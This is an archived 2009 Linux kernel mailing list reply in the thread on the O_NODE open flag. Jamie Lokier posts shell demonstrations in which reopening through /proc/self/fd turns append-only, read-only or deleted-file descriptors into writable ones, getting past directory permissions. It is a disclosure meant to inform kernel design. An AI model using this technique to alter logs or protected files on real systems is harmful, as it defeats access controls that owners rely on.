From: Jamie Lokier <jamie@shareable.org>
To: Pavel Machek <pavel@ucw.cz>
Cc: Miklos Szeredi <miklos@szeredi.hu>,
Andreas Dilger <adilger@sun.com>,
Valdis.Kletnieks@vt.edu, linux@treblig.org, agruen@suse.de,
linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org
Subject: Re: [PATCH] vfs: new O_NODE open flag
Date: Sun, 4 Oct 2009 23:58:49 +0100 [thread overview]
Message-ID: <20091004225849.GA27481@shareable.org> (raw)
In-Reply-To: <20091004190304.GJ1378@ucw.cz>
Pavel Machek wrote:
> On Mon 2009-09-28 18:04:10, Miklos Szeredi wrote:
> > a) the current permission model under /proc/PID/fd has a security
> > hole (which Jamie is worried about)
>
> I believe its bugtraq time. Being able to reopen file with additional
> permissions looks like a security problem...
>
> Jamie, do you have some test script? And do you want your 15 minutes
> of bugtraq fame? ;-).
$ mkdir secret
$ exec 3>> secret/appendonly.txt
$ chmod 000 secret # This is not changed during do_stuff
jamie@amile:~/test$ echo START OF LOG 1>&3
$ do_stuff 1>&3
cat: secret/appendonly.txt: Permission denied # A good sign
$ chmod 755 secret
$ cat secret/appendonly.txt # Let's see our log
nothing to see here # What's that doing there??!
You can re-open a deleted file with increased permisssions. That's
probably more subversive:
$ exec >>appendonlydeleted.txt
$ exec 4<appendonlydeleted.txt # I'll read it later.
$ echo START OF LOG
$ ./do_stuff
$ cat 0<&4 >/dev/tty
nothing to see here # How did they do that?!
How'd it happen?
do_stuff:
#!/bin/sh
echo some text getting logged...
echo more text...
echo no wait, let\'s subvert the append flag!
echo nothing to see here >/proc/self/fd/1
If /proc/self/fd/1 were a _real_ symbolic link, that wouldn't work.
The reopen does check the inode permission, but it does not require
you have any reachable path to the file. Someone _might_ use that as
a traditional unix security mechanism, but if so it's probably quite rare.
If converting append-only to writable doesn't sound too bad, you can
convert read-only to writable and write-only to readable. Gaining
write access to a deleted file which you only received a read-only
descriptor for sounds dodgy to me:
$ echo secret5948043853048 >secret_readonly_password.txt
$ exec 3<secret_readonly_password.txt
$ rm secret_readonly_password.txt # Now I'm sure nobody can change it!
$ echo all your base ha ha >/proc/self/fd/3
$ cat 0<&3
all your base ha ha # Oh dear, my assumption was broken.
Did you really think you had to "chmod 444" before deleting the file?
-- Jamie
next prev parent reply other threads:[~2009-10-04 22:59 UTC|newest]
Thread overview: 24+ messages / expand[flat|nested] mbox.gz Atom feed top
2009-09-24 14:51 [PATCH] vfs: new O_NODE open flag Miklos Szeredi
2009-09-25 0:23 ` Andreas Gruenbacher
2009-09-25 5:52 ` Miklos Szeredi
2009-09-25 12:37 ` Dr. David Alan Gilbert
2009-09-25 12:18 ` Miklos Szeredi
2009-09-25 17:08 ` Jamie Lokier
2009-09-25 16:53 ` Andreas Dilger
2009-09-25 17:20 ` Valdis.Kletnieks
2009-09-25 18:35 ` Dr. David Alan Gilbert
2009-09-25 21:18 ` Valdis.Kletnieks
2009-09-28 10:25 ` Miklos Szeredi
2009-09-28 13:28 ` Jamie Lokier
2009-09-28 14:07 ` Miklos Szeredi
2009-09-28 14:10 ` Jamie Lokier
2009-09-30 8:18 ` Florian Weimer
2009-09-30 8:18 ` Florian Weimer
2009-09-28 15:21 ` Andreas Dilger
2009-09-28 16:04 ` Miklos Szeredi
2009-10-04 19:03 ` Pavel Machek
2009-10-04 22:58 ` Jamie Lokier [this message]
2009-10-23 17:10 ` /proc filesystem allows bypassing directory permissions on Linux (was Re: [PATCH] vfs: new O_NODE open flag) Pavel Machek
2009-10-14 13:14 ` [PATCH] vfs: new O_NODE open flag Andreas Gruenbacher
2009-09-25 19:02 ` Andreas Dilger
2009-09-28 15:53 ` Jamie Lokier
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20091004225849.GA27481@shareable.org \
--to=jamie@shareable.org \
--cc=Valdis.Kletnieks@vt.edu \
--cc=adilger@sun.com \
--cc=agruen@suse.de \
--cc=linux-fsdevel@vger.kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=linux@treblig.org \
--cc=miklos@szeredi.hu \
--cc=pavel@ucw.cz \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.